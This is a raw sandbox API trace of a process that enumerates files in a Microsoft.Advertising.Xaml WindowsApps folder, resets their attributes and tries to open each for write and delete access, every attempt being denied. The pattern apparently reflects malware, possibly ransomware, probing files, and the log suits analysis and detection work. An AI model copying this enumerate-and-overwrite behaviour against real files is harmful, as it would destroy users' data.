	[0082.169] FindNextFileW (in: hFindFile=0x46a6f10, lpFindFileData=0x4711da0 | out: lpFindFileData=0x4711da0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33f2112c, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x33f2112c, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x33f2112c, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x6e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootstrap.html", cAlternateFileName="")) returned 1
	[0082.169] wcscmp (_String1="bootstrap.html", _String2=".") returned 1
	[0082.169] wcscmp (_String1="bootstrap.html", _String2="..") returned 1
	[0082.169] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xf8) returned 0x4766810
	[0082.169] wcscpy (in: _Dest=0x4766810, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x86__8wekyb3d8bbwe\\Microsoft.Advertising" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x86__8wekyb3d8bbwe\\Microsoft.Advertising") returned="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x86__8wekyb3d8bbwe\\Microsoft.Advertising"
	[0082.169] wcscat (in: _Dest=0x4766810, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x86__8wekyb3d8bbwe\\Microsoft.Advertising\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x86__8wekyb3d8bbwe\\Microsoft.Advertising\\"
	[0082.169] wcscat (in: _Dest=0x4766810, _Source="bootstrap.html" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x86__8wekyb3d8bbwe\\Microsoft.Advertising\\bootstrap.html") returned="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x86__8wekyb3d8bbwe\\Microsoft.Advertising\\bootstrap.html"
	[0090.818] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x86__8wekyb3d8bbwe\\Microsoft.Advertising\\bootstrap.html" (normalized: "c:\\program files\\windowsapps\\microsoft.advertising.xaml_10.0.1605.0_x86__8wekyb3d8bbwe\\microsoft.advertising\\bootstrap.html")) returned 0x20
	[0090.818] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x86__8wekyb3d8bbwe\\Microsoft.Advertising\\bootstrap.html", dwFileAttributes=0x20) returned 0
	[0090.818] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x86__8wekyb3d8bbwe\\Microsoft.Advertising\\bootstrap.html" (normalized: "c:\\program files\\windowsapps\\microsoft.advertising.xaml_10.0.1605.0_x86__8wekyb3d8bbwe\\microsoft.advertising\\bootstrap.html"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.818] GetLastError () returned 0x5
	[0090.818] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x86__8wekyb3d8bbwe\\Microsoft.Advertising\\bootstrap.html", dwFileAttributes=0x20) returned 0
	[0090.818] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4766810) returned 1
	[0090.818] FindNextFileW (in: hFindFile=0x46a6f10, lpFindFileData=0x4711da0 | out: lpFindFileData=0x4711da0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33f2112c, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x33f2112c, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x33f2112c, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x50cd, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootstrap.js", cAlternateFileName="")) returned 1
	[0090.818] wcscmp (_String1="bootstrap.js", _String2=".") returned 1
	[0090.818] wcscmp (_String1="bootstrap.js", _String2="..") returned 1
	[0090.818] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xf4) returned 0x4778660
	[0090.818] wcscpy (in: _Dest=0x4778660, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x86__8wekyb3d8bbwe\\Microsoft.Advertising" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x86__8wekyb3d8bbwe\\Microsoft.Advertising") returned="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x86__8wekyb3d8bbwe\\Microsoft.Advertising"
	[0090.818] wcscat (in: _Dest=0x4778660, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x86__8wekyb3d8bbwe\\Microsoft.Advertising\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x86__8wekyb3d8bbwe\\Microsoft.Advertising\\"
	[0090.819] wcscat (in: _Dest=0x4778660, _Source="bootstrap.js" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x86__8wekyb3d8bbwe\\Microsoft.Advertising\\bootstrap.js") returned="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x86__8wekyb3d8bbwe\\Microsoft.Advertising\\bootstrap.js"
	[0090.819] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x86__8wekyb3d8bbwe\\Microsoft.Advertising\\bootstrap.js" (normalized: "c:\\program files\\windowsapps\\microsoft.advertising.xaml_10.0.1605.0_x86__8wekyb3d8bbwe\\microsoft.advertising\\bootstrap.js")) returned 0x20
	[0090.822] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x86__8wekyb3d8bbwe\\Microsoft.Advertising\\bootstrap.js", dwFileAttributes=0x20) returned 0
	[0090.822] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x86__8wekyb3d8bbwe\\Microsoft.Advertising\\bootstrap.js" (normalized: "c:\\program files\\windowsapps\\microsoft.advertising.xaml_10.0.1605.0_x86__8wekyb3d8bbwe\\microsoft.advertising\\bootstrap.js"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.822] GetLastError () returned 0x5
	[0090.822] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x86__8wekyb3d8bbwe\\Microsoft.Advertising\\bootstrap.js", dwFileAttributes=0x20) returned 0
	[0090.822] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4778660) returned 1
	[0090.822] FindNextFileW (in: hFindFile=0x46a6f10, lpFindFileData=0x4711da0 | out: lpFindFileData=0x4711da0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33f2112c, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x33f47386, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x33f47386, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x78bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="ormma.js", cAlternateFileName="")) returned 1
	[0090.822] wcscmp (_String1="ormma.js", _String2=".") returned 1
	[0090.822] wcscmp (_String1="ormma.js", _String2="..") returned 1
	[0090.822] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xec) returned 0x491bc18
	[0090.822] wcscpy (in: _Dest=0x491bc18, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x86__8wekyb3d8bbwe\\Microsoft.Advertising" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x86__8wekyb3d8bbwe\\Microsoft.Advertising") returned="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x86__8wekyb3d8bbwe\\Microsoft.Advertising"
	[0090.823] wcscat (in: _Dest=0x491bc18, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x86__8wekyb3d8bbwe\\Microsoft.Advertising\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x86__8wekyb3d8bbwe\\Microsoft.Advertising\\"
	[0090.823] wcscat (in: _Dest=0x491bc18, _Source="ormma.js" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x86__8wekyb3d8bbwe\\Microsoft.Advertising\\ormma.js") returned="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x86__8wekyb3d8bbwe\\Microsoft.Advertising\\ormma.js"
	[0090.823] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x86__8wekyb3d8bbwe\\Microsoft.Advertising\\ormma.js" (normalized: "c:\\program files\\windowsapps\\microsoft.advertising.xaml_10.0.1605.0_x86__8wekyb3d8bbwe\\microsoft.advertising\\ormma.js")) returned 0x20
	[0090.825] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x86__8wekyb3d8bbwe\\Microsoft.Advertising\\ormma.js", dwFileAttributes=0x20) returned 0
	[0090.825] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x86__8wekyb3d8bbwe\\Microsoft.Advertising\\ormma.js" (normalized: "c:\\program files\\windowsapps\\microsoft.advertising.xaml_10.0.1605.0_x86__8wekyb3d8bbwe\\microsoft.advertising\\ormma.js"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.825] GetLastError () returned 0x5
	[0090.825] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x86__8wekyb3d8bbwe\\Microsoft.Advertising\\ormma.js", dwFileAttributes=0x20) returned 0
	[0090.826] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x491bc18) returned 1
	[0090.826] FindNextFileW (in: hFindFile=0x46a6f10, lpFindFileData=0x4711da0 | out: lpFindFileData=0x4711da0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33f2112c, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x33f47386, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x33f47386, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x78bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="ormma.js", cAlternateFileName="")) returned 0
	[0090.826] FindClose (in: hFindFile=0x46a6f10 | out: hFindFile=0x46a6f10) returned 1
	[0090.826] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4711da0) returned 1
	[0090.826] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4e33478) returned 1
	[0090.826] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4768540) returned 1

Thread:
	id = 895
	os_tid = 0xfb4

	[0082.170] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x86__8wekyb3d8bbwe\\Microsoft.Advertising.winmd" (normalized: "c:\\program files\\windowsapps\\microsoft.advertising.xaml_10.0.1605.0_x86__8wekyb3d8bbwe\\microsoft.advertising.winmd")) returned 0x20
	[0082.170] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x86__8wekyb3d8bbwe\\Microsoft.Advertising.winmd", dwFileAttributes=0x20) returned 0
	[0082.170] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x86__8wekyb3d8bbwe\\Microsoft.Advertising.winmd" (normalized: "c:\\program files\\windowsapps\\microsoft.advertising.xaml_10.0.1605.0_x86__8wekyb3d8bbwe\\microsoft.advertising.winmd"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0082.170] GetLastError () returned 0x5
	[0082.170] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x86__8wekyb3d8bbwe\\Microsoft.Advertising.winmd", dwFileAttributes=0x20) returned 0
	[0082.170] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47ea9e8) returned 1

Thread:
	id = 896
	os_tid = 0xfac

	[0082.171] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xf6) returned 0x4766e10
	[0082.171] wcscpy (in: _Dest=0x4766e10, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x86__8wekyb3d8bbwe\\microsoft.system.package.metadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x86__8wekyb3d8bbwe\\microsoft.system.package.metadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x86__8wekyb3d8bbwe\\microsoft.system.package.metadata"
	[0082.171] wcscat (in: _Dest=0x4766e10, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x86__8wekyb3d8bbwe\\microsoft.system.package.metadata\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x86__8wekyb3d8bbwe\\microsoft.system.package.metadata\\"
	[0082.171] wcscat (in: _Dest=0x4766e10, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x86__8wekyb3d8bbwe\\microsoft.system.package.metadata\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x86__8wekyb3d8bbwe\\microsoft.system.package.metadata\\*"
	[0082.171] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x4712008
	[0082.171] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x86__8wekyb3d8bbwe\\microsoft.system.package.metadata\\*", lpFindFileData=0x4712008 | out: lpFindFileData=0x4712008*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xb523798b, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0xb523798b, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xe0183a1, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x46a6f50
	[0082.172] wcscmp (_String1=".", _String2=".") returned 0
	[0082.172] FindNextFileW (in: hFindFile=0x46a6f50, lpFindFileData=0x4712008 | out: lpFindFileData=0x4712008*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xb523798b, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0xb523798b, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xe0183a1, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0082.172] wcscmp (_String1="..", _String2=".") returned 1
	[0082.172] wcscmp (_String1="..", _String2="..") returned 0
	[0082.172] FindNextFileW (in: hFindFile=0x46a6f50, lpFindFileData=0x4712008 | out: lpFindFileData=0x4712008*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe0183a1, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xe0183a1, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xe0183a1, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Autogen", cAlternateFileName="")) returned 1
	[0082.172] wcscmp (_String1="Autogen", _String2=".") returned 1
	[0082.172] wcscmp (_String1="Autogen", _String2="..") returned 1
	[0082.172] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x102) returned 0x4716ae0
	[0082.172] wcscpy (in: _Dest=0x4716ae0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x86__8wekyb3d8bbwe\\microsoft.system.package.metadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x86__8wekyb3d8bbwe\\microsoft.system.package.metadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x86__8wekyb3d8bbwe\\microsoft.system.package.metadata"
	[0082.172] wcscat (in: _Dest=0x4716ae0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x86__8wekyb3d8bbwe\\microsoft.system.package.metadata\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x86__8wekyb3d8bbwe\\microsoft.system.package.metadata\\"
	[0082.172] wcscat (in: _Dest=0x4716ae0, _Source="Autogen" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x86__8wekyb3d8bbwe\\microsoft.system.package.metadata\\Autogen") returned="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x86__8wekyb3d8bbwe\\microsoft.system.package.metadata\\Autogen"
	[0090.810] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x106) returned 0x47174b8
	[0090.810] wcscpy (in: _Dest=0x47174b8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x86__8wekyb3d8bbwe\\microsoft.system.package.metadata\\Autogen" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x86__8wekyb3d8bbwe\\microsoft.system.package.metadata\\Autogen") returned="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x86__8wekyb3d8bbwe\\microsoft.system.package.metadata\\Autogen"
	[0090.810] wcscat (in: _Dest=0x47174b8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x86__8wekyb3d8bbwe\\microsoft.system.package.metadata\\Autogen\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x86__8wekyb3d8bbwe\\microsoft.system.package.metadata\\Autogen\\"
	[0090.810] wcscat (in: _Dest=0x47174b8, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x86__8wekyb3d8bbwe\\microsoft.system.package.metadata\\Autogen\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x86__8wekyb3d8bbwe\\microsoft.system.package.metadata\\Autogen\\*"
	[0090.810] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x502aed0
	[0090.810] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x86__8wekyb3d8bbwe\\microsoft.system.package.metadata\\Autogen\\*", lpFindFileData=0x502aed0 | out: lpFindFileData=0x502aed0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe0183a1, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xe0183a1, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xe0183a1, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477a9a8
	[0090.810] wcscmp (_String1=".", _String2=".") returned 0
	[0090.810] FindNextFileW (in: hFindFile=0x477a9a8, lpFindFileData=0x502aed0 | out: lpFindFileData=0x502aed0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe0183a1, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xe0183a1, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xe0183a1, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0090.810] wcscmp (_String1="..", _String2=".") returned 1
	[0090.810] wcscmp (_String1="..", _String2="..") returned 0
	[0090.810] FindNextFileW (in: hFindFile=0x477a9a8, lpFindFileData=0x502aed0 | out: lpFindFileData=0x502aed0*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xe0183a1, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xe0183a1, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xeb6b6f5, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0xee4e, dwReserved0=0x0, dwReserved1=0x0, cFileName="JSByteCodeCache_32", cAlternateFileName="JSBYTE~1")) returned 1
	[0090.810] wcscmp (_String1="JSByteCodeCache_32", _String2=".") returned 1
	[0090.810] wcscmp (_String1="JSByteCodeCache_32", _String2="..") returned 1
	[0090.810] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x128) returned 0x2d883a8
	[0090.810] wcscpy (in: _Dest=0x2d883a8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x86__8wekyb3d8bbwe\\microsoft.system.package.metadata\\Autogen" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x86__8wekyb3d8bbwe\\microsoft.system.package.metadata\\Autogen") returned="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x86__8wekyb3d8bbwe\\microsoft.system.package.metadata\\Autogen"
	[0090.810] wcscat (in: _Dest=0x2d883a8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x86__8wekyb3d8bbwe\\microsoft.system.package.metadata\\Autogen\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x86__8wekyb3d8bbwe\\microsoft.system.package.metadata\\Autogen\\"
	[0090.810] wcscat (in: _Dest=0x2d883a8, _Source="JSByteCodeCache_32" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x86__8wekyb3d8bbwe\\microsoft.system.package.metadata\\Autogen\\JSByteCodeCache_32") returned="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x86__8wekyb3d8bbwe\\microsoft.system.package.metadata\\Autogen\\JSByteCodeCache_32"
	[0090.810] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x86__8wekyb3d8bbwe\\microsoft.system.package.metadata\\Autogen\\JSByteCodeCache_32" (normalized: "c:\\program files\\windowsapps\\microsoft.advertising.xaml_10.0.1605.0_x86__8wekyb3d8bbwe\\microsoft.system.package.metadata\\autogen\\jsbytecodecache_32")) returned 0x2024
	[0090.811] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x86__8wekyb3d8bbwe\\microsoft.system.package.metadata\\Autogen\\JSByteCodeCache_32", dwFileAttributes=0x20) returned 0
	[0090.811] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x86__8wekyb3d8bbwe\\microsoft.system.package.metadata\\Autogen\\JSByteCodeCache_32" (normalized: "c:\\program files\\windowsapps\\microsoft.advertising.xaml_10.0.1605.0_x86__8wekyb3d8bbwe\\microsoft.system.package.metadata\\autogen\\jsbytecodecache_32"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.811] GetLastError () returned 0x5
	[0090.811] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x86__8wekyb3d8bbwe\\microsoft.system.package.metadata\\Autogen\\JSByteCodeCache_32", dwFileAttributes=0x2024) returned 0
	[0090.811] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d883a8) returned 1
	[0090.811] FindNextFileW (in: hFindFile=0x477a9a8, lpFindFileData=0x502aed0 | out: lpFindFileData=0x502aed0*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xe0183a1, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xe0183a1, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xeb6b6f5, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0xee4e, dwReserved0=0x0, dwReserved1=0x0, cFileName="JSByteCodeCache_32", cAlternateFileName="JSBYTE~1")) returned 0
	[0090.811] FindClose (in: hFindFile=0x477a9a8 | out: hFindFile=0x477a9a8) returned 1
	[0090.811] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x502aed0) returned 1
	[0090.811] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47174b8) returned 1
	[0090.811] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4716ae0) returned 1
	[0090.811] FindNextFileW (in: hFindFile=0x46a6f50, lpFindFileData=0x4712008 | out: lpFindFileData=0x4712008*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe0183a1, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xe0183a1, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xe0183a1, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Autogen", cAlternateFileName="")) returned 0
	[0090.811] FindClose (in: hFindFile=0x46a6f50 | out: hFindFile=0x46a6f50) returned 1
	[0090.811] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4712008) returned 1
	[0090.811] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4766e10) returned 1
	[0090.811] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4765510) returned 1

Thread:
	id = 897
	os_tid = 0xf04

	[0082.173] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x86__8wekyb3d8bbwe\\resources.pri" (normalized: "c:\\program files\\windowsapps\\microsoft.advertising.xaml_10.0.1605.0_x86__8wekyb3d8bbwe\\resources.pri")) returned 0x20
	[0082.173] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x86__8wekyb3d8bbwe\\resources.pri", dwFileAttributes=0x20) returned 0
	[0082.173] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x86__8wekyb3d8bbwe\\resources.pri" (normalized: "c:\\program files\\windowsapps\\microsoft.advertising.xaml_10.0.1605.0_x86__8wekyb3d8bbwe\\resources.pri"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0082.173] GetLastError () returned 0x5
